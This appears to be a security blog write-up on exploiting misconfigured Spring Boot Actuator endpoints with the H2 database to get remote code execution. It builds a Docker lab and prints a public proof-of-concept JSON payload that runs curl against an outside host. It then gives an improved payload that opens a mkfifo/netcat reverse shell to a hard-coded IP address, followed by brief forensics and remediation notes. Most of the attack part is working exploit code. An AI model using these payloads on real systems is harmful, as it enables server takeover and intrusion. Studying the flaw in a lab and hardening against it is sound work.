Optimizing Spring Actuator for Secure Monitoring and Management: Addressing Common POC Issues

Spring Actuator Vulnerability Overview

Spring Actuator is a feature in Spring that can be used in production environments for monitoring and managing applications. It supports access via HTTP Endpoints or JMX, and also allows viewing application auditing, health, and metrics information.

Conditions for Exploiting Spring Actuator

  • Misconfigured Spring Boot Actuator exposing endpoints such as /actuator/env
  • Using HikariCP (H2) database

Setting Up the Vulnerable Environment with Spring Actuator

Using the vulnerable Docker image available on GitHub.

 git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
cd spring-boot-actuator-h2-rce
docker build -t spaceraccoon/spring-boot-rce-lab .
docker run -p 8080:8080 --name lab --rm  -t  spaceraccoon/spring-boot-rce-lab 
Spring Actuator

 http://vul.zgao.top:8080/actuator
Spring Actuator

Vulnerability Reproduction

Let’s first look at one of the most commonly used POCs online.

Endpoint: /actuator/env

The POC available online is unstable, and executing reverse shells and some commands may fail. This issue was encountered multiple times!!! A detailed analysis will follow.

 {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl zgao.xyz:1234/success');"}

Endpoint: /actuator/restart, post an empty JSON.

 {}

Command executed successfully.

Issues with the Payload

The payload provided online is unstable, and a brief analysis reveals two issues.

  1. The payload will cause an error and exit the container on the second execution.
  2. It cannot execute commands with special characters or perform a reverse shell.

Let’s analyze the first issue. Since a restart is required to execute a command once, the second request to the endpoint.

At this point, the container has exited, and examining the stack trace reveals the error.

The SQL statement execution shows that the alias ‘exec’ already exists, causing the error when trying to create it again.

Therefore, replace CREATE ALIAS EXEC AS in the POC with CREATE ALIAS IF NOT EXISTS EXEC AS.

The second issue is that the POC cannot perform a reverse shell. This is related to the java.runtime.exec command execution, and there are many articles online explaining this.

Optimized Payload

The final optimized POC is as follows, which addresses both issues.

You can use https://zgao.top/reverse-shell/ to generate the payload.

 {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS IF NOT EXISTS EXEC AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL EXEC('/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2> &1|nc 43.155.67.230 1234 > /tmp/f');"}

Reverse shell executed successfully.

Forensic Investigation

Use docker logs to view console logs. However, the request IP is not recorded.

Keywords for investigation: exec, dispatcherServlet

Remediation

Do not expose endpoints. By default, only the health and info endpoints should be accessible.